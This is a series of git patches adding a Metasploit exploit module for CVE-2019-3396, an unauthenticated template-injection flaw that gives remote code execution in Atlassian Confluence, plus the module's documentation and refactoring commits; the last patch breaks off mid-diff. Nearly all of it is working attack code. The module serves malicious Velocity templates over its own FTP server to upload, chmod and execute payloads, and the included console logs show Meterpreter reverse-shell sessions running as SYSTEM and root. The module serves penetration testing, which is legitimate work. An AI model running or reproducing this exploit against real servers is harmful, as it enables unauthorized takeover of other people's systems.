From 7881d627caf789a892c2d6abeb102960ee5cea5a Mon Sep 17 00:00:00 2001 From: rrockru Date: Thu, 11 Apr 2019 15:55:51 +0300 Subject: [PATCH 01/14] Add Atlassian Confluence RCE exploit --- .../multi/http/confluence_widget_connector.rb | 494 ++++++++++++++++++ 1 file changed, 494 insertions(+) create mode 100644 modules/exploits/multi/http/confluence_widget_connector.rb diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb new file mode 100644 index 000000000000..c2f9ad885bf6 --- /dev/null +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -0,0 +1,494 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'json' +require 'uri' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::FtpServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Atlassian Confluence Widget Connector Macro Velocity Template Injection", + 'Description' => %q{ + Widget Connector Macro is part of Atlassian Confluence Server and Data Center that + allows embed online videos, slideshows, photostreams and more directly into page. + A _template parameter can be used to inject remote Java code into a Velocity template, + and gain code execution. Authentication is unrequired to exploit this vulnerability. + By default, Java payload will be used because it is cross-platform, but you can also + specify which native payload you want (Linux or Windows). + + Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version + 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected. + + This vulnerability was originally discovered by Daniil Dmitriev + https://twitter.com/ddv_ua. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Dmitry (rrock) Shchannikov' # Metasploit + ], + 'References' => + [ + [ 'CVE', '2019-3396' ], + [ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ] + ], + 'Targets' => + [ + [ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }], + [ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }], + [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }] + ], + 'DefaultOptions' => + { + 'RPORT' => 80, + 'SRVPORT' => 8021, + }, + 'Privileged' => false, + 'DisclosureDate' => 'Mar 25 2019', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base to Confluence', '/']), + OptInt.new('ListenerTimeout', [false, 'Time that the Listener will wait for the payload request', 10]) + ]) + end + + # Handles ftp RETP command. + # + # @param c [Socket] Control connection socket. + # @param arg [String] RETR argument. + # @return [void] + def on_client_command_retr(c,arg) + vprint_status("FTP download request for #{arg}") + conn = establish_data_connection(c) + if(not conn) + c.put("425 Can't build data connection\r\n") + return + end + + c.put("150 Opening BINARY mode data connection for #{arg}\r\n") + if /check\.vm$/ === arg + conn.put(wrap(get_check_vm())) + elsif /javaprop\.vm$/ === arg + conn.put(wrap(get_javaprop_vm())) + elsif /upload\.vm$/ === arg + conn.put(wrap(get_upload_vm())) + elsif /exec\.vm$/ === arg + conn.put(wrap(get_exec_vm())) + else + conn.put(wrap(get_dummy_vm())) + end + c.put("226 Transfer complete.\r\n") + conn.close + end + + # Handles ftp PASS command to suppress output. + # + # @param c [Socket] Control connection socket. + # @param arg [String] PASS argument. + # @return [void] + def on_client_command_pass(c,arg) + @state[c][:pass] = arg + vprint_status("#{@state[c][:name]} LOGIN #{@state[c][:user]} / #{@state[c][:pass]}") + c.put "230 Login OK\r\n" + end + + # Handles ftp EPSV command to suppress output. + # + # @param c [Socket] Control connection socket. + # @param arg [String] EPSV argument. + # @return [void] + def on_client_command_epsv(c,arg) + vprint_status("#{@state[c][:name]} UNKNOWN 'EPSV #{arg}'") + c.put("500 'EPSV #{arg}': command not understood.\r\n") + end + + # Returns a upload template. + # + # @return [String] + def get_upload_vm() + ( + <<~EOF + $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}')) + EOF + ) + end + + # Returns a command execution template. + # + # @return [String] + def get_exec_vm() + ( + <<~EOF + $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor() + EOF + ) + end + + # Returns checking template. + # + # @return [String] + def get_check_vm() + ( + <<~EOF + #{@check_text} + EOF + ) + end + + # Returns Java's getting property template. + # + # @return [String] + def get_javaprop_vm() + ( + <<~EOF + $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString() + EOF + ) + end + + # Returns dummy template. + # + # @return [String] + def get_dummy_vm() + ( + <<~EOF + EOF + ) + end + + # Checks the vulnerability. + # + # @return [Array] Check code + def check + checkcode = Exploit::CheckCode::Safe + begin + # Start the FTP service + print_status("Starting the FTP server.") + start_service + + @check_text = 'PwN3d' + res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}check.vm") + if res && res.body && res.body.include?('PwN3d') + checkcode = Exploit::CheckCode::Vulnerable + end + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + checkcode = Exploit::CheckCode::Unknown + end + checkcode + end + + # Injects Java code to the template. + # + # @param service_url [String] Address of template to injection. + # @return [void] + def inject_template(service_url) + + uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'headers' => { + 'Accept' => '*/*', + 'Origin' => full_uri(vhost_uri: true) + }, + 'ctype' => 'application/json; charset=UTF-8', + 'data' => { + 'contentId' => '1', + 'macro' => { + 'name' => 'widget', + 'body' => '', + 'params' => { + 'url' => 'https://www.youtube.com/watch?v=dQw4w9WgXcQ', + '_template' => service_url + } + + } + }.to_json + }) + + if !res + elog('Connection timed out in #inject_template') + elsif res && /widget-error/ === res.body + print_error('Failed to inject and execute code:') + vprint_line(res.body) + elsif res + vprint_status("Server response:") + vprint_line res.body + end + + res + end + + # Returns a system property for Java. + # + # @param prop [String] Name of the property to retrieve. + # @return [String] + def get_java_property(prop) + @prop = prop + res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm") + if res && res.body + return clear_response(res.body) + end + '' + end + + # Returns the target platform. + # + # @return [String] + def get_target_platform() + return get_java_property('os.name') + end + + # Checks if the target os/platform is compatible with the module target or not. + # + # @return [TrueClass] Compatible + # @return [FalseClass] Not compatible + def target_platform_compat?(target_platform) + target.platform.names.each do |n| + if /^java$/i === n || /#{n}/i === target_platform + return true + end + end + + false + end + + # Returns a temp path from the remote target. + # + # @return [String] + def get_tmp_path() + return get_java_property('java.io.tmpdir') + end + + # Returns the Java home path used by Confluence. + # + # @return [String] + def get_java_home_path() + return get_java_property('java.home') + end + + # Returns Java code that can be used to inject to the template in order to chmod a file. + # + # @param fname [String] File to chmod + # @return [void] + def get_chmod_code(fname) + @command = "chmod 777 #{fname}" + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm") + end + + + # Returns Java code that can be used to inject to the template in order to copy a file. + # + # @note The purpose of this method is to have a file that is not busy, so we can execute it. + # It is meant to be used with #get_write_file_code. + # + # @param fname [String] The file to copy + # @param new_fname [String] The new file + # @return [void] + def get_dup_file_code(fname, new_fname) + if fname =~ /^\/[[:print:]]+/ + @command = "cp #{fname} #{new_fname}" + else + @command = "cmd.exe /C copy #{fname} #{new_fname}" + end + + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm") + end + + # Returns the normalized file path for payload. + # + # @return [String] + def normalize_payload_fname(tmp_path, fname) + # A quick way to check platform insteaf of actually grabbing os.name in Java system properties. + if /^\/[[:print:]]+/ === tmp_path + Rex::FileUtils.normalize_unix_path(tmp_path, fname) + else + Rex::FileUtils.normalize_win_path(tmp_path, fname) + end + end + + # Exploits the target in Java platform. + # + # @return [void] + def exploit_as_java() + + tmp_path = get_tmp_path + + if tmp_path.blank? + fail_with(Failure::Unknown, 'Unable to get the temp path.') + end + + @fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar") + @b64 = Rex::Text.encode_base64(payload.encoded_jar) + @command = '' + + java_home = get_java_home_path + + if java_home.blank? + fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.') + else + vprint_status("Found Java home path: #{java_home}") + end + + register_files_for_cleanup(@fname) + + if /^\/[[:print:]]+/ === @fname + normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java') + @command = %Q|#{normalized_java_path} -jar #{@fname}| + else + normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe') + @fname.gsub!(/Program Files/, 'PROGRA~1') + @command = %Q|cmd.exe /C "#{normalized_java_path}" -jar #{@fname}| + end + + print_status("Attempting to upload #{@fname}") + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm") + + print_status("Attempting to execute #{@fname}") + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm") + end + + + # Exploits the target in Windows platform. + # + # @return [void] + def exploit_as_windows() + tmp_path = get_tmp_path + + if tmp_path.blank? + fail_with(Failure::Unknown, 'Unable to get the temp path.') + end + + @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)) + @fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe") + new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe") + @fname.gsub!(/Program Files/, 'PROGRA~1') + new_fname.gsub!(/Program Files/, 'PROGRA~1') + register_files_for_cleanup(@fname, new_fname) + + print_status("Attempting to upload #{@fname}") + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm") + + print_status("Attempting to copy payload to #{new_fname}") + get_dup_file_code(@fname, new_fname) + + print_status("Attempting to execute #{new_fname}") + @command = new_fname + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm") + end + + + # Exploits the target in Linux platform. + # + # @return [void] + def exploit_as_linux() + tmp_path = get_tmp_path + + if tmp_path.blank? + fail_with(Failure::Unknown, 'Unable to get the temp path.') + end + + @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)) + @fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5)) + new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6)) + register_files_for_cleanup(@fname, new_fname) + + print_status("Attempting to upload #{@fname}") + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm") + + @command = "chmod +x #{@fname}" + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm") + + print_status("Attempting to copy payload to #{new_fname}") + get_dup_file_code(@fname, new_fname) + + print_status("Attempting to execute #{new_fname}") + @command = new_fname + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm") + end + + def exploit + # Start the FTP service + print_status("Starting the FTP server.") + start_service + + target_platform = get_target_platform + print_status("Target being detected as: #{target_platform}") + + unless target_platform_compat?(target_platform) + fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.') + end + + case target.name + when /java$/i + exploit_as_java() + when /windows$/i + exploit_as_windows() + when /linux$/i + exploit_as_linux() + end + + wait_for_session + end + + def wait_for_session + print_status "Waiting for exploit to complete..." + begin + Timeout.timeout(datastore['ListenerTimeout']) do + loop do + break if session_created? + Rex.sleep(0.25) + end + end + rescue ::Timeout::Error + fail_with(Failure::Unknown, "Timeout waiting for exploit to complete") + end + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def vprint_status(msg='') + super("#{peer} - #{msg}") + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + + # Wraps request. + # + # @return [String] + def wrap(string) + "MSF_RESPONSE\n#{string}MSF_RESPONSE\n" + end + + # Returns unwrapped response. + # + # @return [String] + def clear_response(string) + if match = string.match(/MSF_RESPONSE\n(.*)\nMSF_RESPONSE\n/m) + return match.captures[0] + end + '' + end +end From eab1f6ca549e804f3b8b125e20b71c6dcf41ea69 Mon Sep 17 00:00:00 2001 From: rrockru Date: Thu, 11 Apr 2019 17:52:08 +0300 Subject: [PATCH 02/14] Added Atlassian Confluence exploit documentation --- .../multi/http/confluence_widget_connector.md | 163 ++++++++++++++++++ 1 file changed, 163 insertions(+) create mode 100644 modules/exploits/multi/http/confluence_widget_connector.md diff --git a/modules/exploits/multi/http/confluence_widget_connector.md b/modules/exploits/multi/http/confluence_widget_connector.md new file mode 100644 index 000000000000..d1a8f2693727 --- /dev/null +++ b/modules/exploits/multi/http/confluence_widget_connector.md @@ -0,0 +1,163 @@ +## Description + +This module exploits a Velocity Template Injection in Atlassian Confluence Widget Connector Macro before 6.14.2 to execute arbitrary code (CVE-2019-3396). No authentication is required to exploit this vulnerability. + +The vulnerability exists in the Widget Connector Macro which allow inject the "\_template" from the outside for some services, such as Youtube, Viddler, DailyMotion, etc. + +The module has been tested with on Atlassian Confluence 6.6.12, 6.8.2, 6.12.0 and 6.13.0 using Java, Windows and Linux meterpreter payload. + +References: +https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3396 +https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html + +## Vulnerable Application +Affecting Atlassian Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2. + +## Verification Steps + +List the steps needed to make sure this thing works + +- [ ] Setting up a working installation of Atlassian Confluence before 6.6.13, 6.12.3, 6.12.3 or 6.14.2. +- [ ] Start `msfconsole` +- [ ] `use exploit/multi/http/confluence_widget_connector` +- [ ] `set RHOST ` +- [ ] `set RPORT ` +- [ ] `set SRVHOST ` +- [ ] `check` +- [ ] You should see `The target is vulnerable` +- [ ] `exploit` +- [ ] You should get a meterpreter session. + +## Options +- **TARGETURI**: Path to Atlassian Confluence installation ("/" is the default) +- **ListenerTimeout**: Time that the Listener will wait for the payload request ("10" is the default) + +## Scenario +# Tested on Confluence 6.8.2 with Windows target +``` +msf5 > use exploit/multi/http/confluence_widget_connector +msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com +RHOST => target.com +msf5 exploit(multi/http/confluence_widget_connector) > set RPORT 8090 +RPORT => 8090 +msf5 exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1 +SRVHOST => 192.168.0.1 +msf5 exploit(multi/http/confluence_widget_connector) > set TARGET Windows +TARGET => Windows +msf5 exploit(multi/http/confluence_widget_connector) > check +[*] target.com:8090 - Starting the FTP server. +[*] target.com:8090 - Started service listener on 192.168.0.1:8021 +[+] target.com:8090 - The target is vulnerable. +[*] target.com:8090 - Server stopped. +msf5 exploit(multi/http/confluence_widget_connector) > exploit +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 192.168.0.1:4444 +[*] target.com:8090 - Starting the FTP server. +[*] target.com:8090 - Started service listener on 192.168.0.1:8021 +msf5 exploit(multi/http/confluence_widget_connector) > +[*] target.com:8090 - Target being detected as: Windows 10 +[*] target.com:8090 - Attempting to upload C:\PROGRA~1\Atlassian\Confluence\temp\gAdGh.exe +[*] target.com:8090 - Attempting to copy payload to C:\PROGRA~1\Atlassian\Confluence\temp\MRuDb.exe +[*] target.com:8090 - Attempting to execute C:\PROGRA~1\Atlassian\Confluence\temp\MRuDb.exe +[*] Sending stage (179779 bytes) to target.com +[*] Meterpreter session 1 opened (192.168.0.1:4444 -> target.com:62528) at 2019-04-11 03:13:37 +0000 +[*] target.com:8090 - Waiting for exploit to complete... +[!] This exploit may require manual cleanup of 'C:\PROGRA~1\Atlassian\Confluence\temp\FFDBo.exe' on the target +[!] This exploit may require manual cleanup of 'C:\PROGRA~1\Atlassian\Confluence\temp\JLzIZ.exe' on the target +[*] target.com:8090 - Server stopped. +msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > quit +[*] Shutting down Meterpreter... + +[*] target.com - Meterpreter session 1 closed. Reason: User exit +msf5 exploit(multi/http/confluence_widget_connector) > +``` + +# Tested on Confluence 6.8.2 with Java target +``` +msf5 > use exploit/multi/http/confluence_widget_connector +msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com +RHOST => target.com +msf5 exploit(multi/http/confluence_widget_connector) > set RPORT 8090 +RPORT => 8090 +msf5 exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1 +SRVHOST => 192.168.0.1 +msf5 exploit(multi/http/confluence_widget_connector) > check +[*] target.com:8090 - Starting the FTP server. +[*] target.com:8090 - Started service listener on 192.168.0.1:8021 +[+] target.com:8090 - The target is vulnerable. +[*] target.com:8090 - Server stopped. +msf5 exploit(multi/http/confluence_widget_connector) > exploit +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 192.168.0.1:4444 +[*] target.com:8090 - Starting the FTP server. +[*] target.com:8090 - Started service listener on 192.168.0.1:8021 +msf5 exploit(multi/http/confluence_widget_connector) > +[*] target.com:8090 - Target being detected as: Linux +[*] target.com:8090 - Attempting to upload /opt/atlassian/confluence/temp/EjpPf.jar +[*] target.com:8090 - Attempting to execute /opt/atlassian/confluence/temp/EjpPf.jar +[*] Sending stage (53866 bytes) to target.com +[*] Meterpreter session 1 opened (192.168.0.1:4444 -> target.com:55690) at 2019-04-11 03:13:37 +0000 +[+] target.com:8090 -Deleted /opt/atlassian/confluence/temp/EjpPf.jar +[*] target.com:8090 - Waiting for exploit to complete... +[*] target.com:8090 - Server stopped. +msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: root +meterpreter > quit +[*] Shutting down Meterpreter... + +[*] target.com - Meterpreter session 1 closed. Reason: User exit +msf5 exploit(multi/http/confluence_widget_connector) > +``` + +# Tested on Confluence 6.8.2 with Linux target +``` +msf5 > use exploit/multi/http/confluence_widget_connector +msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com +RHOST => target.com +msf5 exploit(multi/http/confluence_widget_connector) > set RPORT 8090 +RPORT => 8090 +msf5 exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1 +SRVHOST => 192.168.0.1 +msf5 exploit(multi/http/confluence_widget_connector) > check +[*] target.com:8090 - Starting the FTP server. +[*] target.com:8090 - Started service listener on 192.168.0.1:8021 +[+] target.com:8090 - The target is vulnerable. +[*] target.com:8090 - Server stopped. +msf5 exploit(multi/http/confluence_widget_connector) > exploit +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 192.168.0.1:4444 +[*] target.com:8090 - Starting the FTP server. +[*] target.com:8090 - Started service listener on 192.168.0.1:8021 +msf5 exploit(multi/http/confluence_widget_connector) > +[*] target.com:8090 - Target being detected as: Linux +[*] target.com:8090 - Attempting to upload /opt/atlassian/confluence/temp/BYHzD +[*] target.com:8090 - Attempting to copy payload to /opt/atlassian/confluence/temp/dESMnt +[*] target.com:8090 - Attempting to execute /opt/atlassian/confluence/temp/dESMnt +[*] Sending stage (985320 bytes) to target.com +[*] Meterpreter session 1 opened (192.168.0.1:4444 -> target.com:55690) at 2019-04-11 03:13:37 +0000 +[+] target.com:8090 - Deleted /opt/atlassian/confluence/temp/BYHzD +[+] target.com:8090 - Deleted /opt/atlassian/confluence/temp/dESMnt +[*] target.com:8090 - Waiting for exploit to complete... +[*] target.com:8090 - Server stopped. +msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: root +meterpreter > quit +[*] Shutting down Meterpreter... + +[*] target.com - Meterpreter session 1 closed. Reason: User exit +msf5 exploit(multi/http/confluence_widget_connector) > +``` \ No newline at end of file From c0b4e7701fcaa86e72defb313af91efa4e7669f7 Mon Sep 17 00:00:00 2001 From: rrockru Date: Thu, 11 Apr 2019 17:54:10 +0300 Subject: [PATCH 03/14] Fix docs --- .../multi/http/confluence_widget_connector.md | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/confluence_widget_connector.md b/modules/exploits/multi/http/confluence_widget_connector.md index d1a8f2693727..e819cdd063ee 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.md +++ b/modules/exploits/multi/http/confluence_widget_connector.md @@ -1,4 +1,4 @@ -## Description +# Description This module exploits a Velocity Template Injection in Atlassian Confluence Widget Connector Macro before 6.14.2 to execute arbitrary code (CVE-2019-3396). No authentication is required to exploit this vulnerability. @@ -10,10 +10,10 @@ References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3396 https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html -## Vulnerable Application +# Vulnerable Application Affecting Atlassian Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2. -## Verification Steps +# Verification Steps List the steps needed to make sure this thing works @@ -28,12 +28,12 @@ List the steps needed to make sure this thing works - [ ] `exploit` - [ ] You should get a meterpreter session. -## Options +# Options - **TARGETURI**: Path to Atlassian Confluence installation ("/" is the default) - **ListenerTimeout**: Time that the Listener will wait for the payload request ("10" is the default) -## Scenario -# Tested on Confluence 6.8.2 with Windows target +# Scenario +## Tested on Confluence 6.8.2 with Windows target ``` msf5 > use exploit/multi/http/confluence_widget_connector msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com @@ -78,7 +78,7 @@ meterpreter > quit msf5 exploit(multi/http/confluence_widget_connector) > ``` -# Tested on Confluence 6.8.2 with Java target +## Tested on Confluence 6.8.2 with Java target ``` msf5 > use exploit/multi/http/confluence_widget_connector msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com @@ -119,7 +119,7 @@ meterpreter > quit msf5 exploit(multi/http/confluence_widget_connector) > ``` -# Tested on Confluence 6.8.2 with Linux target +## Tested on Confluence 6.8.2 with Linux target ``` msf5 > use exploit/multi/http/confluence_widget_connector msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com From 000c35a7ad119b4cd6cb92ea7e3a26f2f3adf5a4 Mon Sep 17 00:00:00 2001 From: rrockru Date: Thu, 11 Apr 2019 23:39:50 +0300 Subject: [PATCH 04/14] Refactoring --- .../multi/http/confluence_widget_connector.md | 5 +- .../multi/http/confluence_widget_connector.rb | 66 +++++-------------- 2 files changed, 20 insertions(+), 51 deletions(-) diff --git a/modules/exploits/multi/http/confluence_widget_connector.md b/modules/exploits/multi/http/confluence_widget_connector.md index e819cdd063ee..a33d4767cff9 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.md +++ b/modules/exploits/multi/http/confluence_widget_connector.md @@ -30,7 +30,6 @@ List the steps needed to make sure this thing works # Options - **TARGETURI**: Path to Atlassian Confluence installation ("/" is the default) -- **ListenerTimeout**: Time that the Listener will wait for the payload request ("10" is the default) # Scenario ## Tested on Confluence 6.8.2 with Windows target @@ -111,7 +110,7 @@ msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid -Server username: root +Server username: confluence meterpreter > quit [*] Shutting down Meterpreter... @@ -154,7 +153,7 @@ msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid -Server username: root +Server username: uid=1001, gid=1001, euid=1001, egid=1001 meterpreter > quit [*] Shutting down Meterpreter... diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb index c2f9ad885bf6..f101ff10732e 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.rb +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'json' -require 'uri' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -34,12 +31,15 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Dmitry (rrock) Shchannikov' # Metasploit + 'Daniil Dmitriev', # Discovering vulnerability + 'Dmitry (rrock) Shchannikov' # Metasploit module ], 'References' => [ [ 'CVE', '2019-3396' ], - [ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ] + [ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ], + [ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-【CVE-2019-3396】-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'], + [ 'URL', 'https://paper.seebug.org/886/'] ], 'Targets' => [ @@ -59,8 +59,7 @@ def initialize(info={}) register_options( [ - OptString.new('TARGETURI', [true, 'The base to Confluence', '/']), - OptInt.new('ListenerTimeout', [false, 'Time that the Listener will wait for the payload request', 10]) + OptString.new('TARGETURI', [true, 'The base to Confluence', '/']) ]) end @@ -78,13 +77,14 @@ def on_client_command_retr(c,arg) end c.put("150 Opening BINARY mode data connection for #{arg}\r\n") - if /check\.vm$/ === arg + case arg + when /check\.vm$/ conn.put(wrap(get_check_vm())) - elsif /javaprop\.vm$/ === arg + when /javaprop\.vm$/ conn.put(wrap(get_javaprop_vm())) - elsif /upload\.vm$/ === arg + when /upload\.vm$/ conn.put(wrap(get_upload_vm())) - elsif /exec\.vm$/ === arg + when /exec\.vm$/ conn.put(wrap(get_exec_vm())) else conn.put(wrap(get_dummy_vm())) @@ -178,9 +178,9 @@ def check print_status("Starting the FTP server.") start_service - @check_text = 'PwN3d' + @check_text = Rex::Text.rand_text_alpha(5) res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}check.vm") - if res && res.body && res.body.include?('PwN3d') + if res && res.body && res.body.include?(@check_text) checkcode = Exploit::CheckCode::Vulnerable end rescue Msf::Exploit::Failed => e @@ -286,7 +286,7 @@ def get_java_home_path() # @param fname [String] File to chmod # @return [void] def get_chmod_code(fname) - @command = "chmod 777 #{fname}" + @command = "chmod 700 #{fname}" inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm") end @@ -422,6 +422,8 @@ def exploit_as_linux() end def exploit + @wrap_marker = Rex::Text.rand_text_alpha(5) + # Start the FTP service print_status("Starting the FTP server.") start_service @@ -441,52 +443,20 @@ def exploit when /linux$/i exploit_as_linux() end - - wait_for_session - end - - def wait_for_session - print_status "Waiting for exploit to complete..." - begin - Timeout.timeout(datastore['ListenerTimeout']) do - loop do - break if session_created? - Rex.sleep(0.25) - end - end - rescue ::Timeout::Error - fail_with(Failure::Unknown, "Timeout waiting for exploit to complete") - end - end - - def print_status(msg='') - super("#{peer} - #{msg}") - end - - def vprint_status(msg='') - super("#{peer} - #{msg}") - end - - def print_good(msg='') - super("#{peer} - #{msg}") - end - - def print_error(msg='') - super("#{peer} - #{msg}") end # Wraps request. # # @return [String] def wrap(string) - "MSF_RESPONSE\n#{string}MSF_RESPONSE\n" + "#{@wrap_marker}\n#{string}#{@wrap_marker}\n" end # Returns unwrapped response. # # @return [String] def clear_response(string) - if match = string.match(/MSF_RESPONSE\n(.*)\nMSF_RESPONSE\n/m) + if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m) return match.captures[0] end '' From 319eb30cce03a5be8ae7c19cc69aeafebcd2e8bc Mon Sep 17 00:00:00 2001 From: rrockru Date: Thu, 11 Apr 2019 23:54:58 +0300 Subject: [PATCH 05/14] Refactoring --- .../multi/http/confluence_widget_connector.rb | 28 +++++++++---------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb index f101ff10732e..75e17cdcb588 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.rb +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -16,13 +16,13 @@ def initialize(info={}) 'Name' => "Atlassian Confluence Widget Connector Macro Velocity Template Injection", 'Description' => %q{ Widget Connector Macro is part of Atlassian Confluence Server and Data Center that - allows embed online videos, slideshows, photostreams and more directly into page. - A _template parameter can be used to inject remote Java code into a Velocity template, - and gain code execution. Authentication is unrequired to exploit this vulnerability. - By default, Java payload will be used because it is cross-platform, but you can also + allows embed online videos, slideshows, photostreams and more directly into page. + A _template parameter can be used to inject remote Java code into a Velocity template, + and gain code execution. Authentication is unrequired to exploit this vulnerability. + By default, Java payload will be used because it is cross-platform, but you can also specify which native payload you want (Linux or Windows). - Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version + Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected. This vulnerability was originally discovered by Daniil Dmitriev @@ -83,9 +83,9 @@ def 